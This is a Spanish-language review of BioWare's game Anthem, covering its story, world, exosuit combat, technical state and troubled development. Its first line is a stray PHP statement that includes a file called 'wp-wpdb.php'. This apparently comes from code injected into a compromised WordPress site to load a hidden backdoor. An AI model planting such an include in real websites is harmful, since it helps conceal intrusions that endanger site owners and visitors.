if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Anthem – La Fortaleza de LeChuck

Análisis Anthem

Anthem es la apuesta más ambiciosa de Bioware para los próximos años, un juego de exploración y acción trepidante en un mundo controlado por un artefacto que crea y destruye a su antojo.

Anthem, como su nombre bien indica, narra la historia del himno, una fuerza creadora que se halla fuera de control propagando el caos en el mundo. Los humanos han conseguido sobrevivir bajo estas condiciones desde hace tiempo, pero no sin pagar un alto precio en cruentas batalla contra fieras criaturas y facciones que han codiciado el extraño poder, pero el himno es ingobernable. Entre las diferentes posiciones que tienen los humanos que habitan este lugar, tenemos a los libranceros, una tropa cuyo deber es proteger a la humanidad al otro lado de las murallas de Fuerte Tarsis. Su mejor arma es una sólida armadura llamada alabarda con la que son capaces de sobrevolar el terreno, sumergirse en las grutas submarinas y ejecutar diferentes habilidades. Sin embargo, su reputación ha caído en el desprecio por un amplio sector de la población, así como también sus efectivos. Nuestro personaje tendrá el objetivo de realizar misiones que favorezcan a la humanidad para así recuperar el buen nombre de los suyos.

Si os soy sincera, la primera impresión que me he llevado con la trama es que recuerda muchísimo a Mass Effect Andromeda, ya que también se nos habla de artefactos creadores que fueron abandonados por unos seres superiores. Así que se me ocurren teorías locas, como que Anthem y Mass Effect Andromeda pueden llegar a un punto de unión en algún momento del camino. Es decir, un crossover. Simplemente son especulaciones, pero no deja de ser curioso que ambos juegos traten temas tan parecidos.

En La Forja mejorarás tu alabarda

Por otro lado, la premisa del juego es buena. Anthem tiene personajes con carisma que funcionan muy bien en la historia. Uno de ellos es Owen, nuestro excéntrico ayudante que a través de sus comunicaciones nos echará una mano con la exploración del mundo. Como él, hay otros que conoceremos mediante la realización contratos de diverso grado de importancia en la historia, pero todos ellos fundamentales para acelerar el resurgir de los libranceros. Sin embargo, tras terminar la campaña del juego base, se observa en su totalidad altibajos y un final poco brillante resultado de salir antes fuera del horno. Los sucesos que llevaron a la situación actual y el origen del himno, siguen siendo un misterio y tan solo el jugador ha acabado con el malo de turno que quería hacerse con el poder. Lo que me recuerda que algo similiar le sucedió a Bioware con Mass Effect Andromeda, una historia principal que no estaba mal pero las prisas y falta de visión clara en el desarrollo hicieron que no encajaran todas las piezas. A diferencia del último juego de Mass Effect, Anthem juega con la ventaja de ser un juego «on going» y se le irá añadiendo contenido sucesivamente.

El mundo de Anthem está repleto de contrastes. Tenemos zonas selvática con restos de antiguas civilizaciones, donde la vegetación se ha fundido con las ruinas de instalaciones de tecnología punta. Extrañas plantas y minerales están esparcidos por el lugar, perfecto para nuestras mejoras. También corretean por el terreno curiosos animalillos que muestran curiosidad por nuestra presencia. Pero hay otros bichejos que no serán tan amables y si entramos en contacto no dudarán en atacarnos. En nuestra exploración, hallaremos notas que nos dan pistas del mundo cuando los humanos entraron en contacto. Sin embargo, las misiones en el modo libre de juego son escasas y se vuelven repetitivas a las pocas horas de juego. La falta de contenido desluce el maravilloso mundo creado, sobre todo cuando alcanzamos el «end game» y descubrimos como nuevas tareas tediosas intentan alargar artificialmente las horas de juego.

Nunca estarás solo. Otros libranceros te echarán un cable para derrotar bestias de este tamaño

Es el momento de hablar de la jugabilidad. Para empezar, habréis visto que Anthem es un shooter en tercera persona donde nuestra alabarda rige la acción. A medida que juguemos, iremos desbloqueando las 4 disponibles, y cada una se asemeja a una clase debido a sus poderes únicos. Se equipan un total de dos habilidades a la vez con su usual tiempo de enfriamiento mas una especial que se activa al llenar su barra. Asimismo, la ventaja de estas exoarmaduras es que soportan un vuelo largo aunque limitado por una barra de calentamiento que se irá llenando si no ponemos un pie en tierra firme o planeamos cerca de una zona con agua. Pero no os preocupéis mucho porque da para un largo paseo por las nubes. También es posible levitar (con el correspondiente calentamiento), hacer un doble salto o correr a grandes velocidades. Todo esto hace que los combates sean frenéticos y versátiles, con una gran cantidad de metralla, explosivos y poderes destructores de cientos de colores. Puedes volar, pararte en seco para desde el aire descargar todo sobre un enemigo y luego mandarlo todo a tomar viento con un mortal ultimate. El cuanto a la acción en el terreno, no esconde su parecido con Destiny: hordas de enemigos, jefes y activación de elementos para salir indemnes. Los usuarios anónimos te acompañarán si lo deseas en las misiones para completar el escuadrón de 4 miembros, pero puedes bloquear el matchmaking para salir a reventar monstruos solo con amigos. Solo una queja, el juego te coarta la libertad cuando juegas con gente, ya que si te separas un centímetro te arrastra irremediablente con los compañeros. Encontrar algo menos molesto sería la ideal.

Viejas ruinas de otra era recubren el mundo de Anthem

Por lo general, estoy muy satisfecha en lo que a jugabilidad se refiere. Creo que un juego de PvE en tercera persona presenta una visión más amplia y espectacular de todo lo que hacemos, por lo que moverse por una extensión de terreno de este calibre jamás ha sido tan divertido. No solo dispararemos y lanzaremos ataques, sino que se pueden realizar combos con la combinación de nuestras habilidades. Y si nos cansamos de ellas, o simplemente de la alabarda que llevamos equipada, cambiamos y listo. Actualmente hay cuatro disponibles, y no me extrañaría que se sumaran otras tantas más adelante. Mi favorita es la Tormenta, con la cual congelas a los enemigos y lanza explosiones en zona, por no hablar de la ulti que efectúa una gran descarga de energía de diferentes elementos.

En lo técnico, se nota el esfuerzo por solucionar todos los bugs reportados durante la demo. Desparecieron los tiempos de carga infinitos y las bajadas de frames,  pero el juego tiene más pantallas de carga de lo deseado, y espero que lo tengan en cuenta para el primer parche. En las batallas, el juego va suave en mi Xbox One X incluso cuando en pantalla se juntan hordas de enemigos disparando al unísono. Por otro lado, en esta prueba de EA Access, se han escapado algunos bugs, y yo misma experimenté uno de ellos: el sonido se desvaneció por completo en medio de una misión y la única forma de traerlo de vuelta fue reiniciando el juego. Salvo esto, no he tenido más interrupciones. En cuanto a las animaciones, Bioware se ha esforzado en no repetir las incómodas expresiones faciales de Mass Effect Andromeda, y los personajes de peso en la historia son expresivos y naturales sin caer en lo absurdo. En definitiva, un juego que en su apartado gráfico se ve muy bonito.

Las referencias a Mass Effect no podían faltar. ¡Adornos N7!

El gran esfuerzo de Bioware ha sido destinado a la parte técnica, ya que no querían repetir las burlas por las animaciones de Mass Effect Andromeda, dejando el resto de contenido descuidado. Y es que debe ser difícil ponerse en la piel Bioware, y tener detrás un currículum extenso de juegos populares que han aunado multitud de fans hasta construir un fandom acérrimo. Cada título es mirado con lupa, sin dejar marguen a la innovación ni al menor fallo. Y por si esto fuera poco, ser castigada por salirse de la etiqueta de compañía de RPGs narrativos con comparaciones un tanto desafortunadas que crean descontento en una porción de jugadores. La compañía se ha salido del marcado camino de RPGs narrativos en los últimos años para subirse al carro de lo que está moda añadiendo características dispares a sus juegos, es así como hemos visto implementar el multijugador o el mundo abierto con mayor o menor acierto. Ahora presenciamos como Bioware abraza el looter shooter que puso de moda Borderlands y después Destiny pero con el mismo problema que ha ido arrastrando últimamente: desarrollos caóticos. Anthem, tras las primeras horas de juego, se destapaban los mismos síntomas de producto inacabado que lleva sufriendo el estudio desde los tres últimos juegos.

Asimismo, una profunda investigación de Kotaku a través de los testimonios de ex miembros de Bioware y personal aún en activo confirmaba nuestras peores sospechas: Anthem salió de forma prematura al mercado. Las causas se resumen en tres: falta de liderazgo, una visión poca clara del producto y la imposición del motor Frostbite a pesar de las dificultades conocidas que provoca. Han sido 7 años de desarrollo perdidos, donde se confiaba ciegamente en que los últimos meses surgiera lo que ellos llaman «magia» y el juego fuera un éxito como sucedió con Mass Effect 3 y Dragon Age Inquisition, pero depender siempre de la suerte quizá no sea una forma eficiente de trabajar, y Mass Effect Andromeda fue la prueba fehaciente. Desde el estudio insisten en que irán solucionando el desaguisado con futuras actualizaciones, y por la naturaleza del título pueden lograrlo, pero la preocupación tras la segunda investigación del medio americano con el desarrollo poco fructífero de Dragon Age 4 ponen en tela de juicio el futuro del estudio.

Anthem tiene una buena base y su sistema de combate ofrece diversión y libertad, pero falta mucho trabajo hasta conseguir el looter shooter que desean. Podríamos decir que el futuro de Anthem estará en manos de la narrativa, las recompensas y los diferentes tipos de misión. Si consiguen ofrecer contenido de calidad y variedad, seguro que los jugadores volverán a él una y otra vez. Bioware tiene que centrarse y no depender de la magia del último instante, sino recuperar esa magia que inbuia en sus productos con buenas ideas y contenido bien acabado.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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